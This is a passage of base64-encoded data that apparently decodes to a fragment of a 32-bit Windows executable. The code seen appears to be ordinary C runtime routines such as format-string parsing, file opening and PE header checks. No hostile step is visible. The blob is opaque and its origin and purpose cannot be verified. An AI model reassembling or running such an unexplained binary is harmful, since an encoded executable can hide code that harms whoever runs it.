elOCQAAgY3w/f//gAAAAOk/CQAAg43w/f//AukzCQAAgPoqdSyDwwSJndj9//+LW/yJncz9//+F2w+JFAkAAION8P3//wT3ncz9///pAgkAAIuFzP3//2vACg++yo1ECNCJhcz9///p5wgAAIOl6P3//wDp2wgAAID6KnUmg8MEiZ3Y/f//i1v8iZ3o/f//hdsPibwIAACDjej9////6bAIAACLhej9//9rwAoPvsqNRAjQiYXo/f//6ZUIAACA+kl0VYD6aHREgPpsdBiA+ncPhX0IAACBjfD9//8ACAAA6W4IAACAP2x1FkeBjfD9//8AEAAAib3E/f//6VMIAACDjfD9//8Q6UcIAACDjfD9//8g6TsIAACKBzw2dR6AfwE0dRiDxwKBjfD9//8AgAAAib3E/f//6RcIAAA8M3UegH8BMnUYg8cCgaXw/f///3///4m9xP3//+n1BwAAPGQPhO0HAAA8aQ+E5QcAADxvD4TdBwAAPHUPhNUHAAA8eA+EzQcAADxYD4TFBwAAg6XA/f//AIOlyP3//wCNhbD9//9QD7bCUOj16///WYXAioXv/f//WXQii42o/f//jbXc/f//6JT7//+KB0eJvcT9//+EwA+Elfz//4uNqP3//4213P3//+hy+///6WMHAAAPvsKD+GQPj+oBAAAPhHcCAACD+FMPj/MAAAAPhIEAAACD6EF0EEhIdFlISHQISEgPhYcFAACAwiDHhZT9//8BAAAAiJXv/f//g43w/f//QIO96P3//wCNvfT9//+4AAIAAIm95P3//4mFnP3//w+NRQIAAMeF6P3//wYAAADpoAIAAPeF8P3//zAIAAAPhZgAAACBjfD9//8ACAAA6YkAAAD3hfD9//8wCAAAdQqBjfD9//8ACAAAi43o/f//g/n/dQW5////f4PDBPeF8P3//xAIAACJndj9//+LW/yJneT9//8PhKUEAACF23ULofgGBRCJheT9//+LheT9///Hhcj9//8BAAAA6XMEAACD6FgPhMwCAABISHR5K8EPhCb///9ISA+FkgQAAIPDBPeF8P3//xAIAACJndj9//90MA+3Q/xQaAACAACNhfT9//9QjYXg/f//UOgy8f//g8QQhcB0H8eFpP3//wEAAADrE4pD/IiF9P3//8eF4P3//wEAAACNhfT9//+JheT9///pKQQAAIsDg8MEiZ3Y/f//hcB0PItIBIXJdDX3hfD9//8ACAAAD78AiY3k/f//dBSZK8LR+MeFyP3//wEAAADp5AMAAIOlyP3//wDp2AMAAKH0BgUQiYXk/f//UOhVAP//WenBAwAAg/hwD4/sAQAAD4TYAQAAg/hlD4yvAwAAg/hnD44y/v//g/hpdG2D+G50JIP4bw+FkwMAAPaF8P3//4CJteD9//90YYGN8P3//wACAADrVYszg8MEiZ3Y/f//6AL5//+FwA+EIvr///aF8P3//yB0DGaLhdz9//9miQbrCIuF3P3//4kGx4Wk/f//AQAAAOm+BAAAg43w/f//QMeF4P3//woAAACLjfD9///3wQCAAAAPhJ4BAAAD3otD+ItT/OnKAQAAdRGA+md1Y8eF6P3//wEAAADrVzmF6P3//34GiYXo/f//gb3o/f//owAAAH49i7Xo/f//gcZdAQAAVujOF///ipXv/f//WYmFrP3//4XAdBCJheT9//+JtZz9//+L+OsKx4Xo/f//owAAAIsDizVo4gMQg8MIiYWI/f//i0P8iYWM/f//jYWw/f//UP+1lP3//w++wv+16P3//4md2P3//1D/tZz9//+NhYj9//9XUP81+BIFEP/W/9CLnfD9//+DxByB44AAAAB0HYO96P3//wB1FI2FsP3//1BX/zUEEwUQ/9b/0FlZgL3v/f//Z3UYhdt1FI2FsP3//1BX/zUAEwUQ/9b/0FlZgD8tdRGBjfD9//8AAQAAR4m95P3//1fpDv7//4m16P3//4mNoP3//+skg+hzD4TE/P//SEgPhJT+//+D6AMPhbgBAADHhaD9//8nAAAA9oXw/f//gMeF4P3//xAAAAAPhHT+//+KhaD9//8EUcaF1P3//zCIhdX9///HhdD9//8CAAAA6VD+///3wQAQAAAPhVb+//+DwwT2wSB0GImd2P3///bBQHQGD79D/OsED7dD/JnrE4tD/PbBQHQDmesCM9KJndj9///2wUB0G4XSfxd8BIXAcxH32IPSAPfagY3w/f//AAEAAPeF8P3//wCQAACL2ov4dQIz24O96P3//wB9DMeF6P3//wEAAADrGoOl8P3///e4AAIAADmF6P3//34GiYXo/f//i8cLw3UGIYXQ/f//jXXzi4Xo/f///43o/f//hcB/BovHC8N0LYuF4P3//5lSUFNX6AbZ//+DwTCJnZz9//+L+Ivag/k5fgYDjaD9//+IDk7rvY1F8yvGRveF8P3//wACAACJheD9//+JteT9//90Y4XAdAeLzoA5MHRY/43k/f//i43k/f//xgEwQOtASWaDOAB0B4PAAoXJdfIrheT9///R+Osohdt1C6H0BgUQiYXk/f//i4Xk/f//6wdJgDgAdAVAhcl19SuF5P3//4mF4P3//4O9pP3//wAPhX0BAACLhfD9//+oQHQyqQABAAB0CcaF1P3//y3rGKgBdAnGhdT9//8r6wuoAnQRxoXU/f//IMeF0P3//wEAAACLncz9//8rneD9//8rndD9//+JnZz9//+oDHUni/uF234hi42o/f//jbXc/f//sCBP6DH1//+Dvdz9////dASF/3/fi72o/f//i43Q/f//jYXU/f//UI2F3P3//+g59f//9oXw/f//CFl0KPaF8P3//wR1H+sZjbXc/f//i8+wMEvo4fT//4O93P3///90BIXbf+ODvcj9//8Ai53g/f//dFSF235Qi7Xk/f//D7cGUGoGjUX0UI2FkP3//1BLg8YC6MPr//+DxBCFwHUgi42Q/f//hcl0Fo1F9FCNhdz9///otPT//1mF23XB6x2Djdz9////6xT/teT9//+Nhdz9//+Ly+iR9P//WYO93P3//wB8LvaF8P3//wR0JYudnP3//+sZjbXc/f//i8+wIEvoM/T//4O93P3///90BIXbf+ODvaz9//8AdBP/taz9///oO8z+/4OlrP3//wBZi73E/f//igeIhe/9//+EwHQPi53Y/f//M/aK0Om89f//g73A/f//AHQNg73A/f//Bw+F5fT//4C9vP3//wB0CouFuP3//4NgcP2Lhdz9//+LTfxfXjPNW+h6xv7/ycOL/8B8AxC9egMQ73oDEEt7AxCXewMQo3sDEOl7AxAbfQMQi/9Vi+yD7DRTM9v2RRCAVovwiV3ciF3+iV34x0XMDAAAAIld0HQJiV3UxkX/EOsKx0XUAQAAAIhd/41F3FDoi9/+/1mFwA+F3gYAALgAgAAAhUUQdRL3RRAAQAcAdQU5Rdx0BIBN/4CLRRCD4AMrw7kAAADAugAAAIB0Q0h0KEh0IOhA9f7/iRiDDv/oI/X+/2oWXokw6Hcs//+LxuneAAAAiU306xv2RRAIdAn3RRAAAAcAdezHR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